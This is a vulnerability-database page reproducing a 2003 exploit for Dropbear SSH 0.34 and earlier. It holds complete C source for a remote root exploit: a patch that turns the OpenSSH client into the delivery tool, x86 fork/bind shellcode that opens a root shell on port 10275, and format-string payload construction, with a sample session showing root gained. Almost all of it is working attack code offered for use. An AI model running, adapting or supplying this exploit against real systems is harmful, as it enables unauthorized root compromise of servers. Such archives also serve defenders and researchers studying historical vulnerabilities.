Lucene search
K

Dropbear SSH <= 0.34 Remote Root Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 70 Views

Dropbear SSH <= 0.34 Remote Root Exploit code for Linux x86. SSH client hacked to send SHELLCODE environment variable as methodname string to bypass buffer size limitation for shellcode. Exploiting retaddr with SSH-2.0-dropbear_0.34 allows remote root access through a dropped root shell

Code

                                                /* 
* Linux x86 Dropbear SSH &#60;= 0.34 remote root exploit 
* coded by live 
* 
* You&#39;ll need a hacked ssh client to try this out. I included a patch 
* to openssh-3.6.p1 somewhere below this comment. 
* 
* The point is: the buffer being exploited is too small(25 bytes) to hold our 
* shellcode, so a workaround was needed in order to send it. What I did here 
* was to hack the ssh client so that it sends the local   environment variable 
* SHELLCODE as ssh&#39;s methodname string.   This method   was described by Joel 
* Eriksson @ 0xbadc0ded.org. 
* 
* The 25 bytes limitation is also the reason for the the strange ``2 byte&#39;&#39; 
* retaddr you will see here. That&#39;s not enough for complete pointer overwrite, 
* so I decided to   overwrite 3rd and 2nd   bytes and hope our   shellcode is 
* around ;) 
*   
* % telnet localhost 22 
* Trying 127.0.0.1... 
* Connected to localhost. 
* Escape character is &#39;^]&#39;. 
* SSH-2.0-dropbear_0.34 
* ^] 
* telnet&#62; quit 
* Connection closed. 
* 
* % objdump -R /usr/local/sbin/dropbear| grep malloc 
* 080673bc R_386_JUMP_SLOT   malloc 
* 
* % drop-root -v24 localhost 
* ?.2022u%24$hn@localhost&#39;s password: 
* Connection closed by 127.0.0.1 
* 
* % telnet localhost 10275 
* Trying 127.0.0.1... 
* Connected to localhost. 
* Escape character is &#39;^]&#39;. 
* id; exit; 
* uid=0(root) gid=0(root) groups=0(root) 
* Connection closed by foreign host. 
* 
* In the above example we were able to lookup a suitable .got entry(used as 
* retloc here), but this may not be true under a hostile environment. If 
* exploiting this remotely I feel like chances would be greater if we attack 
* the stack, but that&#39;s just a guess. 
* 
* Version pad is 24 to 0.34, 12 to 0.32. I don&#39;t know about other versions. 
* 
* gr33tz: ppro, alcaloide and friends. 
* 
* 21.08.2003 
* Please do not distribute 
*/ 



/* 

--- sshconnect2.c2003-08-21 21:34:03.000000000 -0300 
+++ sshconnect2.c.hack2003-08-21 21:33:47.000000000 -0300 
@@ -278,6 +278,8 @@ 
void 
userauth(Authctxt *authctxt, char *authlist) 
{ 
+     char *shellcode = getenv(&#34;SHELLCODE&#34;); 
+ 
if (authlist == NULL) { 
authlist = authctxt-&#62;authlist; 
} else { 
@@ -290,6 +292,7 @@ 
if (method == NULL) 
fatal(&#34;Permission denied (%s).&#34;, authlist); 
authctxt-&#62;method = method; 
+         authctxt-&#62;method-&#62;name = shellcode; 
if (method-&#62;userauth(authctxt) != 0) { 
debug2(&#34;we sent a %s packet, wait for reply&#34;, method-&#62;name); 
break; 

*/ 


#include &#60;stdio.h&#62; 
#include &#60;stdlib.h&#62; 
#include &#60;unistd.h&#62; 
#include &#60;string.h&#62; 


#define SSH_PATH               &#34;ssh&#34; 
#define SSH_PORT               &#34;22&#34; 

#define DEFAULT_VERSION_PAD     24 
#define DEFAULT_RETLOC         0xbffff800 
#define DEFAULT_RETADDR         0x080e /* 2 byte retaddr, not enough space for a 
                                      * full overwrite. */ 


/* fork/bind shellcode by live 
* default port is 10275 
* 
* I believe this can be futher optmized, but size is not 
* an issue here since we are sending the shellcode through 
* a ssh variable which is about 30k bytes long. 
*/ 
char shellcode[] = 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;xb0x02&#34;                       /* mov     $0x2,%al                 */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;x85xc0&#34;                       /* test   %eax,%eax               */ 
    &#34;x75x54&#34;                       /* jne     5e                       */ 
    &#34;xebx50&#34;                       /* jmp     5c                       */ 
    &#34;x5e&#34;                           /* pop     %esi                     */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;x31xdb&#34;                       /* xor     %ebx,%ebx               */ 
    &#34;x89x46x08&#34;                   /* mov     %eax,0x8(%esi)           */ 
    &#34;xb0x02&#34;                       /* mov     $0x2,%al                 */ 
    &#34;x89x06&#34;                       /* mov     %eax,(%esi)             */ 
    &#34;xfexc8&#34;                       /* dec     %al                     */ 
    &#34;x89x46x04&#34;                   /* mov     %eax,0x4(%esi)           */ 
    &#34;xb0x66&#34;                       /* mov     $0x66,%al               */ 
    &#34;xfexc3&#34;                       /* inc     %bl                     */ 
    &#34;x89xf1&#34;                       /* mov     %esi,%ecx               */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;x89x06&#34;                       /* mov     %eax,(%esi)             */ 
    &#34;x89x4ex04&#34;                   /* mov     %ecx,0x4(%esi)           */ 
    &#34;x80x46x04x0c&#34;               /* addb   $0xc,0x4(%esi)           */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;xb0x10&#34;                       /* mov     $0x10,%al               */ 
    &#34;x89x46x08&#34;                   /* mov     %eax,0x8(%esi)           */ 
    &#34;xb0x02&#34;                       /* mov     $0x2,%al                 */ 
    &#34;x66x89x46x0c&#34;               /* mov     %ax,0xc(%esi)           */ 
    &#34;x66xb8x28x23&#34;               /* mov     $0x2328,%ax             */ 
    &#34;x89x46x0e&#34;                   /* mov     %eax,0xe(%esi)           */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;x89x46x10&#34;                   /* mov     %eax,0x10(%esi)         */ 
    &#34;xb0x66&#34;                       /* mov     $0x66,%al               */ 
    &#34;xfexc3&#34;                       /* inc     %bl                     */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;xfexcb&#34;                       /* dec     %bl                     */ 
    &#34;x89x5ex04&#34;                   /* mov     %ebx,0x4(%esi)           */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;xb0x66&#34;                       /* mov     $0x66,%al               */ 
    &#34;xb3x04&#34;                       /* mov     $0x4,%bl                 */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;xebx04&#34;                       /* jmp     60                       */ 
    &#34;xebx44&#34;                       /* jmp     a2                       */ 
    &#34;xebx3a&#34;                       /* jmp     9a                       */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;x89x46x04&#34;                   /* mov     %eax,0x4(%esi)           */ 
    &#34;x89x46x08&#34;                   /* mov     %eax,0x8(%esi)           */ 
    &#34;xb0x66&#34;                       /* mov     $0x66,%al               */ 
    &#34;xfexc3&#34;                       /* inc     %bl                     */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;x31xc9&#34;                       /* xor     %ecx,%ecx               */ 
    &#34;x89xc3&#34;                       /* mov     %eax,%ebx               */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;xb0x3f&#34;                       /* mov     $0x3f,%al               */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;xfexc1&#34;                       /* inc     %cl                     */ 
    &#34;x80xf9x03&#34;                   /* cmp     $0x3,%cl                 */ 
    &#34;x75xf3&#34;                       /* jne     72                       */ 
    &#34;x68x2fx2fx73x68&#34;           /* push   $0x68732f2f             */ 
    &#34;x68x2fx62x69x6e&#34;           /* push   $0x6e69622f             */ 
    &#34;x89xe3&#34;                       /* mov     %esp,%ebx               */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;x88x43x08&#34;                   /* mov     %al,0x8(%ebx)           */ 
    &#34;x50&#34;                           /* push   %eax                     */ 
    &#34;x53&#34;                           /* push   %ebx                     */ 
    &#34;x89xe1&#34;                       /* mov     %esp,%ecx               */ 
    &#34;x89xe2&#34;                       /* mov     %esp,%edx               */ 
    &#34;xb0x0b&#34;                       /* mov     $0xb,%al                 */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;x31xc0&#34;                       /* xor     %eax,%eax               */ 
    &#34;x31xdb&#34;                       /* xor     %ebx,%ebx               */ 
    &#34;xfexc0&#34;                       /* inc     %al                     */ 
    &#34;xcdx80&#34;                       /* int     $0x80                   */ 
    &#34;xe8x65xffxffxff&#34;           /* call   c &#60;up&#62;                   */ 
; 


static void usage(const char *progname); 


int 
main(int argc, char *argv[]) 
{ 
    char buffer[29500], fmt[26], *target; 
    long int retloc, retaddr; 
    int ch, version_pad; 

    retloc           = DEFAULT_RETLOC +1; 
    retaddr         = DEFAULT_RETADDR -40; 
    version_pad     = DEFAULT_VERSION_PAD; 

    while ( (ch = getopt(argc, argv, &#34;l:r:v:&#34;)) != -1) { 
        switch (ch) { 
            case &#39;l&#39;: 
                retloc += atoi(optarg) *4; 
                break; 
            case &#39;r&#39;: 
                retaddr += atoi(optarg) *4; 
                break; 
            case &#39;v&#39;: 
                version_pad = atoi(optarg); 
                break; 
        } 
    } 

    if (argc -optind != 1) { 
        usage(argv[0]); 
        exit(-1); 
    } 

    argc -= optind; 
    argv += optind; 

    target = argv[0]; 
    memset(buffer, 0x90, 29500); 
    memcpy(buffer +29500 -strlen(shellcode), shellcode, strlen(shellcode)); 
    memcpy(buffer, &#34;SHELLCODE=&#34;, 10); 

    putenv(buffer); 
    snprintf(fmt, sizeof fmt, &#34;%c%c%c%c%%.%du%%%d$hn&#34;, 
        (retloc & 0xff), 
        (retloc & 0xff00) &#62;&#62; 8, 
        (retloc & 0xff0000) &#62;&#62; 16, 
        (retloc & 0xff000000) &#62;&#62; 24, 
        retaddr, 
        version_pad); 

    execl(SSH_PATH, &#34;ssh&#34;, &#34;-l&#34;, fmt, &#34;-p&#34;, SSH_PORT, target, NULL); 
    exit(0); 
} 


static void 
usage(const char *progname) { 
    fprintf(stderr, &#34;Linux x86 Dropbear SSH &#60;= 0.34 remote root exploitn&#34;); 
    fprintf(stderr, &#34;coded by livenn&#34;); 
    fprintf(stderr, &#34;Usage: %s [-l &#60;retloc offset&#62;] [-r &#60;retaddr offset&#62;]&#34; 
        &#34; [-v &#60;version pad&#62;] &#60;target&#62;n&#34;, progname); 
}

// milw0rm.com [2004-08-09]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation